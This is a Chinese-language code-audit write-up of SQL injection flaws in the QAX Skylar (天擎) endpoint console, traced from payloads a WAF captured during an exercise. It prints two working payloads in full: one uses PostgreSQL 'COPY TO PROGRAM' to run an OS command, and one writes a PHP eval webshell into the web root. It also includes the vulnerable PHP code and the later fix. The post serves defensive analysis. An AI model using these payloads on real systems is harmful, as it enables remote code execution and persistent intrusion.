在某大型活动中捕获到了天擎(QAX Skylar)的几个0day,跟代码审了下

0x01 第一类

活动期间在WAF上拦截到一枚注入,数据包如下

POST /api/upload_client_conf.json?mid=马赛克 HTTP/1.1
Host: 马赛克
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Length: 128
Content-Type: application/json


{"summary": {"0": {"nickname": "cpu='1';CopY(sElEct 1)TO pRogRAM 'echo 1 > ..\\www\\res\\style\\test.css';--", "value": "1"}}}

短短几行数据包内容,判断出是天擎的某个接口存在注入,打开之前获取到的源码进行追踪

API_URL

注意到POST请求的URI/api/upload_client_conf.json,源代码里全局搜了下,发现在application/task/cron/NgxMsgConsumeCommand.php定义了一些json数据接口

image-20210427170759322

class NgxMsgConsumeCommand extends AbstractConsumerCommand
{
public $has_gongan_right = false;
public $defaultAction = "cron";
const MSG_CHANNEL_TASK_STATUS = "task_status";
const MSG_CHANNEL_CLIENT_REG = "client_reg";
const MSG_CHANNEL_CLIENT_UNINSTALL = "client_uninst";
const MSG_CHANNEL_CLIENT_NEW_CLIENT = "new_client";
const MSG_CHANNEL_CLIENT_MID_RESET = "mid_reset";
const MSG_CHANNEL_EVENT_CLIENT_LOG = "upload_client_log";
const MSG_CHANNEL_CLIENT_CONF = "upload_client_conf";
const MSG_CHANNEL_UPDATE_IMPORT = "update_import_time";
const MSG_CHANNEL_UPGRADE_LOG2REPORT = "upgrade_log2report";
const MSG_CHANNEL_SERVER_UPGRADE = "server_upgrade";
const MSG_CHANNEL_LEAK_DOWNLOAD_STATUS = "update_leak_download_status";
const MSG_CHANNEL_INSERT_LEAK_INFO = "insert_leak_info";
const SH_MDM_SERVICE = "senha_mdm_service";
const MSG_CHANNEL_ALARM_PUSH = "alarm_push";
const CLIENT_LOG_TYPE_LEAK_REPAIR = "leak_repair";
const CLIENT_LOG_TYPE_LEAK_REPAIR_ALL = "leak_repair_all";
const CLIENT_LOG_TYPE_AUDIT = "audit";
const CLIENT_LOG_TYPE_CLIENT_UPGRADE = "update_log";
const CLIENT_LOG_TYPE_CLIENT_EXT_INFO = "client_ext_info";
const CLIENT_LOG_TYPE_REGISTRY = "registry";
const CLIENT_LOG_TYPE_COREMAIL_LINK = "coremail_link";
const CLIENT_LOG_TYPE_AGENT_ST = "st@at";
const CLIENT_LOG_TYPE_AGENT_HM = "hm@at";
const CLIENT_LOG_POLICY_VERSION = "policy_version";

在该类中将upload_client_conf赋值给MSG_CHANNEL_CLIENT_CONF并在同类中的doConsumeMsg方法引用

public function doConsumeMsg($mq_msg, $msg)
{
$msg_channel = $msg["channel"];
$msg_data = $msg["data"];
$msg_mid = isset($msg["mid"]) ? $msg["mid"] : "";
$will_ack_msg = false;
switch ($msg_channel) {
/*...................省略代码*/
case NgxMsgConsumeCommand::MSG_CHANNEL_CLIENT_CONF:
ObjectFinder::find("ClientLogic")->updateClientConfFromMsg($msg_mid, $msg_data);
break;
case NgxMsgConsumeCommand::MSG_CHANNEL_SERVER_UPGRADE:
ObjectFinder::find("EventLogLogic")->captureServerUpgrade($msg_data);
break;
case NgxMsgConsumeCommand::MSG_CHANNEL_ALARM_PUSH:
ObjectFinder::find("AlarmLogic")->dealAlarmMsg($msg_data);
break;
default:
break;
}
return $will_ack_msg;
}

其中使用ObjectFinder::find("ClientLogic")->updateClientConfFromMsg($msg_mid, $msg_data);动态加载ClientLogic类中的方法updateClientConfFromMsg,全局搜下看看,发现不是要找的方法

image-20210427171635993

那么全局搜下MSG_CHANNEL_CLIENT_CONF看看哪里引用了这个常量,

image-20210427171802142

找到符合打过来的payload的类AssetNgxMsgConsumer,对应文件ext/asset/www/source/domain/sub_consumer/AssetNgxMsgConsumer.phpAssetNgxMsgConsumer类继承了PluginNgxMsgSubConsumer抽象类,PluginNgxMsgSubConsumer类使用了PluginSubConsumer接口返回消费者类NgxMsgConsumeCommand

//AssetNgxMsgConsumer.php
class AssetNgxMsgConsumer extends PluginNgxMsgSubConsumer
{
public function doConsume($mq_msg, $msg)
{
$msg_channel = $msg["channel"];
$msg_data = $msg["data"];
$mid = isset($msg["mid"]) ? $msg["mid"] : "";
switch ($msg_channel) {
case NgxMsgConsumeCommand::MSG_CHANNEL_CLIENT_CONF:
foreach ($msg_data as $key => $value) {
switch ($key) {
/*省略代码*/
case "summary":
ObjectFinder::find("SummaryLogic")->updateSummaryForAssetRegister($mid, $value);
break;
}
}
}
}
}

//PluginNgxMsgSubConsumer.php
abstract class PluginNgxMsgSubConsumer implements PluginSubConsumer
{
public function getConsumerClass()
{
return "NgxMsgConsumeCommand";
}
public function consume()
{
$args = func_get_args();
list($mq_msg, $msg) = $args;
return $this->doConsume($mq_msg, $msg);
}
public abstract function doConsume($mq_msg, $msq);
}
//PluginSubConsumer.php
interface PluginSubConsumer
{
/**
* @return mixed
*/
public function getConsumerClass();
/**
* @return bool 是否处理成功
*/
public function consume();
}

AssetNgxMsgConsumer中动态加载SummaryLogic类,对应文件ext/asset/www/source/logic/SummaryLogic.php中的方法updateSummaryForAssetRegister,跟进去看下

class SummaryLogic
{
private $_minide_cli = NULL;
private $_summary_dao = NULL;
private $_hardware_dao = NULL;
private $_software_dao = NULL;
protected $_software_lib_table = "client_software_lib";
const NAC_ASSETS_TO_RDS = "nac_assets_to_rds";
const NAC_ASSETS_TUBE = "work_queue_nac_portal802config";
const ASSET_NOTIFY_IOT = "asset_notify_iot";
const NAC_ASSETS_MAX_COUNT = 10000;
const CODE_INVALID_PARAM_FORMAT = 500;
public function __construct()
{
$this->_summary_dao = ObjectFinder::find("SummaryDao"); //加载SummaryDao工具类
$this->_hardware_dao = ObjectFinder::find("HardwareDao");
$this->_software_dao = ObjectFinder::find("SoftwareDao");
$this->_network_dao = ObjectFinder::find("NetworkDao");
$this->_minide_cli = new Skyminide\Skylarminide();
$this->_type_map = $this->_summary_dao->getVisibleAssetRegisterTypeColumn();
$this->_type_map = json_decode($this->_type_map["item"], 1);
}
/*....*/
public function updateSummaryForAssetRegister($mid, $mes_data)
{
$summary = array();
foreach ($mes_data as $data) {
$summary[$data["nickname"]] = $data["value"];
}
$gid = "";
if (isset($summary["group"])) {
$gid = $summary["group"];
unset($summary["group"]);
}
if (isset($summary["device_use"]) && !empty($summary["device_use"])) {
$device_uses = $this->_summary_dao->getDeviceUseByName($summary["device_use"]);
$device_use_id = NULL;
if (empty($device_uses)) {
$all_device_uses = $this->_summary_dao->getDeviceUse();
if (!empty($all_device_uses)) {
$device_uses["id"] = $all_device_uses[0]["id"];
}
Yii::log("upload deleted summray_device_use", CLogger::LEVEL_ERROR, "the client " . $mid . " upload the nonfound device_use, the upload device_use is: " . $summary["device_use"] . " and we use the default device_use " . $all_device_uses[0]["name"]);
}
$summary["device_use"] = $device_uses["id"];
}
$detail = $this->_summary_dao->getSummaryDetail($mid);
if (empty($detail["status"]) || (int) $mes_data["upload_type"] == 1) {
$this->_summary_dao->updateSummaryForAssetRegister($mid, $summary);//<-漏洞点
} else {
Yii::log("mid= " . $mid . " update summary pass", CLogger::LEVEL_INFO, "SummaryLogic");
}
/*.................*/
}

其中调用了SummaryDao类中的updateSummaryForAssetRegister方法,相关代码如下

class SummaryDao extends BaseDao
{
protected $_client_os = "client_os";
protected $_client_software = "client_software";
protected $_client = "client";
protected $_client_hardware_summary = "client_hardware_summary";
protected $_client_account = "client_account";
protected $_client_ext = "client_ext";
protected $_client_group = "client_group";
protected $_vendor_logo = "vendor_logo";
protected $_tag_info = "tag_info";
protected $_client_hd_mainboard = "client_hardware_mainboard";
protected $_client_device_use = "client_device_use";
protected $_nac_session_record = "nac_session_record";
protected $_nac_user = "nac_user";
protected $_offline_time = Constants::OFFLINE_TIME_SECONDS;
/*......*/
public function updateSummaryForAssetRegister($mid, array $summary)
{
$bind_vals = array(":mid" => $mid);
$sql_set = " ";
foreach ($summary as $key => $value) {
if (!empty($value)) {
$bind_vals[":" . $key] = $value;
$sql_set = $sql_set . $key . " = :" . $key . ", ";
}
}
$sql_set = $sql_set . " is_default = 0 ";
$sql = sprintf("insert into %s (mid) select :mid where not exists (select 1 from %s where mid = :mid) limit 1;UPDATE %s SET " . $sql_set . "\r\n\t\t WHERE mid = :mid", $this->_client_hardware_summary, $this->_client_hardware_summary, $this->_client_hardware_summary);
$this->exeNoQuery($sql, $bind_vals);
}

可以看出参数$sql_set没有经过任何处理直接带入UPDATE语句执行导致SQL注入,天擎使用的PostgreSQL数据库,PG数据库支持文件读写操作,相关函数COPY...TO...操作

其他多处

根据第一处的关键字$sql_set,全局查找了下,发现多处

image-20210427173715295

ext/report/www/source/dao/DataPortalSummaryDao.php中的updateSummaryDetail方法

image-20210427173755744

updateSummaryForAssetRegister方法

image-20210427173918895

ext/asset/www/source/dao/SummaryDao.php中的updateSummaryDetail方法

image-20210427174023042

updateSummaryForAssetRegister方法

image-20210427174107613

updateSummaryDetailByNacUser方法

image-20210427174136803

第二类

第二类payload

https://192.168.24.196:8443/api/dp/rptsvcsyncpoint?ccid=1';create table O(TEXT);insert into O(T) values('<?php @eval($_POST[1]);?>');copy O(T) to 'C:\Program Files (x86)\360\skylar6\www\1.php';drop table O;--

第二类是标准接口,在data/adminlog_path_dict.jsonjson文件中存有相关接口名称和URI,其中就有该payloadURI

image-20210427174452532

天擎使用的Yii V1进行的开发,根据Yii官方手册,找到了路由对应的控制器DpController.php中的actionRptsvcSyncPoint方法

Windows路径application/api/controllers/DpController.php

Linux路径ext/cascade/www/application/api/controllers/DpController.php

public function actionRptsvcSyncPoint()
{
$result = Constants::$WEB_SUCCESS_RT;
try {
$cc_id = $this->getParam("ccid");
BizResult::ensureNotFalse(Guid::Valid($cc_id), Constants::WEB_ERROR_PARAM);
$dp_dao = ObjectFinder::find("DataPortalDao");
$antiadwa = $dp_dao->getSyncPoint("antiadwa", $cc_id);
/*.........*/
$this->renderJson($result);
}

actionRptsvcSyncPoint方法获取了传入的cc_id并赋值给$cc_id,然后调用了$dp_dao = ObjectFinder::find("DataPortalDao");动态实例化了DataPortalDao类并调用了getSyncPoint方法,getSyncPoint方法原型(6.3版本)

public function getSyncPoint($biz = NULL, $ccid = NULL)
{
$rows = NULL;
try {
$sql = sprintf("SELECT syncpoint AS count FROM rptsvc_syncpoint WHERE biz = '%s' AND ccid = '%s';", $biz, $ccid);
$rows = $this->queryRow($sql);
} catch (Exception $e) {
$rows["count"] = 0;
}
if (is_null($rows["count"])) {
$rows["count"] = 0;
}
return $rows;
}

而在6.6版本中,进行了参数绑定

public function getSyncPoint($biz = NULL, $ccid = NULL)
{
$rows = NULL;
try {
$sql = "SELECT syncpoint AS count FROM rptsvc_syncpoint WHERE biz = :biz AND ccid = :ccid;";
$rows = $this->queryRow($sql, array(":biz" => $biz, ":ccid" => $ccid));
} catch (Exception $e) {
$rows["count"] = 0;
}
if (is_null($rows["count"])) {
$rows["count"] = 0;
}
return $rows;
}

6.3版本直接将ccid带入查询,导致了注入